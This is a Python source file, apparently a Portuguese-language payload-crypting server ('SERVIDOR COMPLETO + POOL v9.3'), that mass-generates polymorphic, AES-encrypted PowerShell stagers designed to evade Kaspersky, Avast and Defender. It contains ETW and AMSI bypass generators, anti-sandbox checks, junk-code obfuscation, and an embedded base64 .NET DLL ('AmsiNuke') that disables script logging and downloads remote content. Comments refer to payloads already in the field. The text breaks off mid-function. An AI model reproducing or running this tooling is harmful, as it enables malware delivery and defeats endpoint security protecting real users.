#!/usr/bin/env python3
"""
╔═════════════════════════════════════════════════════════════════════════════╗
║  SERVIDOR COMPLETO + POOL v9.3 - ULTRA POLIMÓRFICO (Anti-Kaspersky)         ║
╠═════════════════════════════════════════════════════════════════════════════╣
║                                                                              ║
║  v9.3 CORRIGIDO - Tipos .NET literais, propriedades ofuscadas:               ║
║  - Tipos como [Convert], [Security.Cryptography.Aes] = LITERAIS             ║
║  - Propriedades como .Key, .IV = ofuscadas com obfuscate_for_property()     ║
║  - Parâmetros de GetType() = ofuscados com obfuscate_string_runtime()       ║
║  - AES-256-CBC com chaves únicas por requisição                              ║
║  - Chunks em quantidade e ordem aleatória (3-6 chunks)                       ║
║  - Junk code distribuído (15-25% probabilidade)                              ║
║  - Anti-sandbox com verificação de tempo (50% chance)                        ║
║                                                                              ║
║  v8.9 ANTI-AVAST - String Concatenation SEGURA:                             ║
║  - Ofusca APENAS strings em New-Object (contexto seguro)                    ║
║                                                                              ║
║  Referencias: bl4ckarch 2026, r-tec 2025, SpecterInsight                    ║
╚═════════════════════════════════════════════════════════════════════════════╝

INSTALAÇÃO:
    pip3 install fastapi uvicorn cryptography --break-system-packages

EXECUTAR:
    python3 servidor_completo_pool.py

TESTAR:
    curl http://localhost:8888/health
    curl http://localhost:8888/proteger
"""

import os
import sys
import time
import random
import string
import re
import base64
import zlib
import hashlib
import threading
import multiprocessing
from pathlib import Path
from datetime import datetime
from typing import Optional, Tuple, Dict
from concurrent.futures import ProcessPoolExecutor
import copy
import queue
import subprocess
import tempfile
from collections import deque

# ═══════════════════════════════════════════════════════════════════════════════
# VERIFICAR BIBLIOTECA CRYPTOGRAPHY (AES RÁPIDO)
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    CRYPTO_FAST = True
except ImportError:
    CRYPTO_FAST = False

# ═══════════════════════════════════════════════════════════════════════════════
# CONFIGURAÇÃO
# ═══════════════════════════════════════════════════════════════════════════════

SERVER_CONFIG = {
    'host': '0.0.0.0',
    'port': 8888,
    'workers': 4,  # Número de processos paralelos
    'base_dir': '/var/www/html',  # LINUX
    'source_file': 'msedge.txt',
    'log_requests': True,
    # v9.4 (bug 4): token de API. '' = autenticação DESATIVADA (compatível com
    # stagers/payloads já em campo). Preencha aqui ou defina a env PROTEGER_TOKEN
    # para exigir o header 'X-Token' em TODOS os endpoints (exceto /health).
    'api_token': '',
}

CONFIG = {
    # ═══════════════════════════════════════════════════════════════════════════
    # OTIMIZAÇÕES v7.1 (Performance enhancements)
    # ═══════════════════════════════════════════════════════════════════════════
    'enable_sleep_jitter': True,      
    'sleep_min_seconds': 3,           
    'sleep_max_seconds': 8,           
    'generate_stager': True,

    # ═══════════════════════════════════════════════════════════════════════════
    # v8.0 - AES-256-CBC + Chave Remota + AMSI Bypass CLR.DLL
    # ═══════════════════════════════════════════════════════════════════════════
    'enable_aes_encryption': True,     # AES-256-CBC (substitui XOR)
    'enable_amsi_bypass': True,        # AMSI bypass CLR.DLL dentro do AES
    'chunk_count': 3,                  # Dividir dados AES em N pedacos

    # ═════════════════════════════════════════════════════════════════════════
    # v9.5 - POLIMORFISMO DE DLLs EMBUTIDAS (mutação cirúrgica, IL intacta)
    # ═════════════════════════════════════════════════════════════════════════
    'enable_dll_mutation': True,       # MVID + TimeDateStamp + junk pós-PE:
                                       # SHA256 único por payload gerado, sem
                                       # recompilar nada (ver mutate_embedded_dlls)

    # ═══════════════════════════════════════════════════════════════════════════
    # Configurações originais v3.2
    # ═══════════════════════════════════════════════════════════════════════════
    'enable_bypass': True,
    'enable_string_encrypt': True,
    'enable_var_rename': True,
    'enable_func_rename': True,
    'enable_type_obfuscation': True,
    'enable_comment_removal': True,
    'enable_number_obfuscation': False,   # v7.2: desabilitado - sem valor real contra AV
    'enable_path_obfuscation': False,
    'enable_junk_code': True,             # v7.2: habilitado com densidade baixa
    'enable_final_compress': False,
    'enable_disk_encrypt': False,
    'junk_code_density': 4,               # v7.2: densidade baixa (era 15)
}

PROJECT_CONFIG = {
    'sensitive_ips': [],
    'sensitive_domains': [],
    'server_port': 0,
}

POOL_CONFIG = {
    'min_size': 100,              # Mínimo de variantes pré-geradas por pasta
    'max_size': 200,             # Máximo de variantes por pasta (depois para de gerar)
    'refill_threshold': 100,      # Tamanho mínimo do pool antes de reabastecer
    'generator_threads': 5,     # Threads para gerar variantes em paralelo
}

# ═══════════════════════════════════════════════════════════════════════════════
# UTILITÁRIOS (DO proteger_FUNCIONAL.py)
# ═══════════════════════════════════════════════════════════════════════════════

def random_name(length=6, prefix=''):
    """Gera nome aleatório para variáveis/funções"""
    chars = string.ascii_letters
    name = ''.join(random.choice(chars) for _ in range(length))
    return prefix + name

def random_var():
    """Gera nome de variável PowerShell aleatório"""
    return '$' + random_name(random.randint(5, 8))

def b64_encode_ps(value):
    """Gera expressão PowerShell que decodifica Base64 em runtime"""
    b64 = base64.b64encode(value.encode('utf-16-le')).decode()
    return f"([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{b64}')))"

def xor_encode_ps(value):
    key = random.randint(1, 254)
    encoded = ','.join(str(ord(c) ^ key) for c in value)
    return f"(-join([byte[]]@({encoded})|%{{[char]($_-bxor{key})}}))"

def obfuscate_string_runtime(s):
    """Ofusca string para ser reconstruída em runtime - ULTRA POLIMÓRFICO
    
    8 métodos diferentes, escolhidos aleatoriamente, com parâmetros aleatórios.
    NUNCA produz o mesmo resultado duas vezes.
    
    NOTA: Retorna string que pode ser usada como VALOR, não como tipo.
    Para tipos use obfuscate_type_name() ou strings literais.
    """
    method = random.randint(1, 8)
    
    if method == 1:
        # XOR com chave aleatória
        key = random.randint(1, 254)
        encoded = ','.join(str(ord(c) ^ key) for c in s)
        return f"(-join([byte[]]@({encoded})|%{{[char]($_-bxor{key})}}))"
    
    elif method == 2:
        # Offset positivo
        offset = random.randint(1, 50)
        encoded = ','.join(str((ord(c) + offset) % 256) for c in s)
        return f"(-join([byte[]]@({encoded})|%{{[char]($_-{offset})}}))"
    
    elif method == 3:
        # Offset negativo
        offset = random.randint(1, 50)
        encoded = ','.join(str((ord(c) - offset + 256) % 256) for c in s)
        return f"(-join([byte[]]@({encoded})|%{{[char]($_+{offset})}}))"
    
    elif method == 4:
        # Base64 Unicode
        b64 = base64.b64encode(s.encode('utf-16-le')).decode()
        return f"([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{b64}')))"
    
    elif method == 5:
        # Base64 UTF8
        b64 = base64.b64encode(s.encode('utf-8')).decode()
        return f"([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('{b64}')))"
    
    elif method == 6:
        # String split concatenada (ordem original)
        if len(s) < 3:
            return f"'{s}'"
        parts = []
        pos = 0
        while pos < len(s):
            chunk = random.randint(1, max(2, len(s)//3))
            parts.append(f"'{s[pos:pos+chunk]}'")
            pos += chunk
        return "(" + "+".join(parts) + ")"
    
    elif method == 7:
        # Reverse e re-reverse
        if len(s) < 2:
            return f"'{s}'"
        return f"(-join('{s[::-1]}'[({len(s)-1})..0]))"
    
    else:
        # Char codes diretos
        codes = ','.join(str(ord(c)) for c in s)
        return f"(-join([char[]]@({codes})))"

def obfuscate_for_property(s):
    """Ofusca string para uso como nome de propriedade: $obj.($str)
    Usa apenas métodos simples que funcionam nesse contexto."""
    method = random.randint(1, 3)
    
    if method == 1:
        # String literal simples
        return f"'{s}'"
    elif method == 2:
        # Concatenação
        if len(s) < 3:
            return f"'{s}'"
        mid = len(s) // 2
        return f"('{s[:mid]}'+'{s[mid:]}')"
    else:
        # Char array
        codes = ','.join(str(ord(c)) for c in s)
        return f"(-join([char[]]@({codes})))"

def generate_junk_code():
    """Gera código morto que parece legítimo - VARIADO"""
    templates = [
        lambda: f"${random_name(random.randint(3,7))}={random.randint(1,99999)}",
        lambda: f"${random_name(random.randint(3,7))}='{random_name(random.randint(5,15))}'",
        lambda: f"if($false){{${random_name(3)}=$null}}",
        lambda: f"[void]({random.randint(1,999)}+{random.randint(1,999)})",
        lambda: f"$null=[Math]::Abs({random.randint(-999,999)})",
        lambda: f"try{{${random_name(3)}=$null}}catch{{}}",
        lambda: f"while($false){{break}}",
        lambda: f"${random_name(4)}=[Environment]::TickCount",
        lambda: f"[void][Guid]::NewGuid()",
        lambda: f"$null=[DateTime]::Now.Ticks",
        lambda: f"${random_name(3)}=$null;Remove-Variable {random_name(3)} -EA 0",
    ]
    return random.choice(templates)()

def generate_anti_sandbox():
    """Gera código anti-sandbox/anti-análise"""
    var1 = '$' + random_name(4)
    var2 = '$' + random_name(4)
    sleep_ms = random.randint(50, 200)
    
    code = f"""
{var1}=[Environment]::TickCount
Start-Sleep -Milliseconds {sleep_ms}
{var2}=[Environment]::TickCount
if(({var2}-{var1}) -lt {sleep_ms//2}){{return}}
""".strip()
    return code

def obfuscate_method_call(obj_var, method_name):
    """Ofusca chamada de método usando reflection ou string"""
    method = random.randint(1, 2)
    
    if method == 1:
        # Reflection: $obj.GetType().GetMethod('Name').Invoke($obj, @())
        method_str = obfuscate_string_runtime(method_name)
        return f"{obj_var}.GetType().GetMethod({method_str}).Invoke({obj_var},@())"
    else:
        # Invoke-Expression com string construída
        method_str = obfuscate_string_runtime(method_name)
        return f"(Invoke-Expression ('{obj_var}.' + {method_str} + '()'))"

def split_string(s, min_parts=2, max_parts=4):
    """Fragmenta uma string em partes concatenadas"""
    if len(s) < 4:
        return f'"{s}"'
    
    num_parts = min(random.randint(min_parts, max_parts), len(s))
    part_len = len(s) // num_parts
    parts = []
    
    for i in range(num_parts):
        start = i * part_len
        end = start + part_len if i < num_parts - 1 else len(s)
        parts.append(f'"{s[start:end]}"')
    
    return '(' + ' + '.join(parts) + ')'

# ═══════════════════════════════════════════════════════════════════════════════
# v8.0: AES-256-CBC ENCRYPTION + CHAVE REMOTA + AMSI BYPASS CLR.DLL
# ═══════════════════════════════════════════════════════════════════════════════

import json
import uuid
from pathlib import Path as PathLib

KEYS_FILE = '/opt/proteger/aes_keys.json'

GLOBAL_ASM_B64 = "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7QAnADEA9QAuADEAAwEuADEAJgE2ADkA9QA+ADkALwFGAAkA7QBLADkAPgFQAFEAZgFWAFEAbwFGAFEAeAFQAAwANAATAAwAeAFiADkAAwE+AGEAsAFqAGEAAwFtAGEAtQFzAGkA4AF5AHEAHwK3AIEANAATAIEAPgK9AAkANAATAC4ACwDGAC4AEwDPAH8AwgBbAASAAAAAAAAAAAAAAAAAAAAAAJoAAAAEAAAAAAAAAAAAAAABABkAAAAAAAQAAAAAAAAAAAAAAAEAIgAAAAAAAAAAPE1vZHVsZT4AQW1zaU51a2UuZGxsAFIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdABFAEQALmN0b3IAdQBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQW1zaU51a2UAQXBwRG9tYWluAGdldF9DdXJyZW50RG9tYWluAFN5c3RlbS5SZWZsZWN0aW9uAEFzc2VtYmx5AEdldEFzc2VtYmxpZXMAVHlwZQBHZXRUeXBlAG9wX0luZXF1YWxpdHkAb3BfRXF1YWxpdHkARmllbGRJbmZvAEJpbmRpbmdGbGFncwBHZXRGaWVsZABHZXRWYWx1ZQBJbnQzMgBTZXRWYWx1ZQBTeXN0ZW0uQ29sbGVjdGlvbnMASURpY3Rpb25hcnkAQ29udGFpbnMAZ2V0X0l0ZW0Ac2V0X0l0ZW0AU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMARGljdGlvbmFyeWAyAEludFB0cgBaZXJvAEFkZABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABXcml0ZUludDY0AFN5c3RlbS5OZXQAU2VydmljZVBvaW50TWFuYWdlcgBTZWN1cml0eVByb3RvY29sVHlwZQBzZXRfU2VjdXJpdHlQcm90b2NvbABXZWJDbGllbnQARG93bmxvYWRTdHJpbmcAAAAAAE1TAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAAGtTAHkAcwB0AGUAbQAuAE0A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"

# v9.4 (bug 2): lock global para acesso concorrente ao arquivo de chaves AES
# (threads geradoras + endpoint /k/{key_id} podem ler/escrever ao mesmo tempo)
_keys_lock = threading.Lock()

def _load_keys() -> dict:
    try:
        if os.path.exists(KEYS_FILE):
            with open(KEYS_FILE, 'r') as f:
                return json.load(f)
    except Exception as e:
        print(f"[ERRO] Ler chaves ({KEYS_FILE}): {e}")
        # Preservar arquivo corrompido para inspeção/recuperação manual
        try:
            os.replace(KEYS_FILE, KEYS_FILE + '.corrupt')
        except Exception:
            pass
    return {}

def _save_keys(keys: dict):
    """v9.4 (bug 2): escrita atomica (tmp + rename) - nunca deixa o JSON truncado."""
    tmp_file = KEYS_FILE + '.tmp'
    try:
        with open(tmp_file, 'w') as f:
            json.dump(keys, f)
        os.replace(tmp_file, KEYS_FILE)
    except Exception as e:
        print(f"[ERRO] Salvar chaves ({KEYS_FILE}): {e}")
        try:
            if os.path.exists(tmp_file):
                os.remove(tmp_file)
        except Exception:
            pass

def _store_key(key_id: str, key_b64: str):
    """v9.4 (bug 2): adiciona uma chave AES de forma thread-safe
    (read-modify-write completo dentro do lock, com escrita atomica)."""
    with _keys_lock:
        keys = _load_keys()
        keys[key_id] = key_b64
        _save_keys(keys)

def generate_etw_bypass():
    """ETW bypass - desabilita telemetria PS antes do bypass AMSI.
    
    v7.3 - strings montadas de byte arrays em runtime (nao literais)
    Defender usa ETWti (kernel events); desabilitar PSEtwLogProvider reduz telemetria.
    """
    v_k = '$' + random_name(3)
    v_t1 = '$' + random_name(4)
    v_t2 = '$' + random_name(4)
    v_t3 = '$' + random_name(4)
    v_asm = '$' + random_name(4)
    v_type = '$' + random_name(4)
    v_field = '$' + random_name(4)
    v_prov = '$' + random_name(4)
    v_ef = '$' + random_name(4)
    
    offset = random.randint(1, 30)
    n1 = "System.Management.Automation.Tracing.PSEtwLogProvider"
    n2 = "etwProvider"
    n3 = "m_enabled"
    
    b1 = ','.join(str((ord(c) + offset) & 0xFF) for c in n1)
    b2 = ','.join(str((ord(c) + offset) & 0xFF) for c in n2)
    b3 = ','.join(str((ord(c) + offset) & 0xFF) for c in n3)
    
    lines = []
    lines.append("try{")
    lines.append(v_k + "=" + str(offset))
    lines.append(v_t1 + "=-join(([byte[]]@(" + b1 + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_t2 + "=-join(([byte[]]@(" + b2 + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_t3 + "=-join(([byte[]]@(" + b3 + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_asm + "=[Ref].Assembly")
    lines.append(v_type + "=" + v_asm + ".GetType(" + v_t1 + ")")
    lines.append("if(" + v_type + "){")
    lines.append(v_field + "=" + v_type + ".GetField(" + v_t2 + ",'NonPublic,Static')")
    lines.append("if(" + v_field + "){")
    lines.append(v_prov + "=" + v_field + ".GetValue($null)")
    lines.append("if(" + v_prov + "){")
    lines.append(v_ef + "=" + v_prov + ".GetType().GetField(" + v_t3 + ",'NonPublic,Instance')")
    lines.append("if(" + v_ef + "){" + v_ef + ".SetValue(" + v_prov + ",0)}")
    lines.append("}}}}catch{}")
    
    return '\n'.join(lines) + '\n'

def generate_amsi_bypass():
    """AMSI bypass v8.2 - Tecnica hibrida com fallbacks multiplos.
    
    2026 Research Update:
    - pAppName null (+0x08) continua funcionando e NAO e monitorado pelo Defender
    - ETW bypass via m_enabled field 
    - Fallback para s_amsiContext (PS7) e amsiContext (PS5)
    - Strings 100% dinamicas via byte arrays
    - ZERO VirtualProtect, ZERO patch em amsi.dll
    """
    
    etw_code = generate_etw_bypass()
    
    # Variaveis com nomes aleatorios
    v_k = '$' + random_name(3)
    v_t1 = '$' + random_name(4)
    v_t2 = '$' + random_name(4)
    v_t3 = '$' + random_name(4)
    v_r = '$' + random_name(3)
    v_ty = '$' + random_name(4)
    v_cx = '$' + random_name(4)
    v_fd = '$' + random_name(4)
    v_n = '$' + random_name(3)
    
    offset = random.randint(1, 30)
    
    # Strings codificadas
    type_name = "System.Management.Automation.AmsiUtils"
    field1 = "s_amsiContext"  # PS7
    field2 = "amsiContext"     # PS5
    
    type_bytes = ','.join(str((ord(c) + offset) & 0xFF) for c in type_name)
    field1_bytes = ','.join(str((ord(c) + offset) & 0xFF) for c in field1)
    field2_bytes = ','.join(str((ord(c) + offset) & 0xFF) for c in field2)
    
    # Binding flags: NonPublic,Static = 40
    bf_val = '40'
    
    lines = []
    lines.append("try{")
    lines.append(v_k + "=" + str(offset))
    
    # Decodificar strings em runtime
    lines.append(v_t1 + "=-join(([byte[]]@(" + type_bytes + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_t2 + "=-join(([byte[]]@(" + field1_bytes + "))|%{[char]($_ -" + v_k + ")})")
    lines.append(v_t3 + "=-join(([byte[]]@(" + field2_bytes + "))|%{[char]($_ -" + v_k + ")})")
    
    lines.append(v_r + "=[Ref].Assembly")
    lines.append(v_ty + "=" + v_r + ".GetType(" + v_t1 + ")")
    lines.append("if(" + v_ty + "){")
    
    # Tentar PS7 primeiro (s_amsiContext), fallback para PS5 (amsiContext)
    lines.append(v_cx + "=[IntPtr]::Zero")
    lines.append("foreach(" + v_n + " in @(" + v_t2 + "," + v_t3 + ")){")
    lines.append(v_fd + "=" + v_ty + ".GetField(" + v_n + ",[Reflection.BindingFlags]" + bf_val + ")")
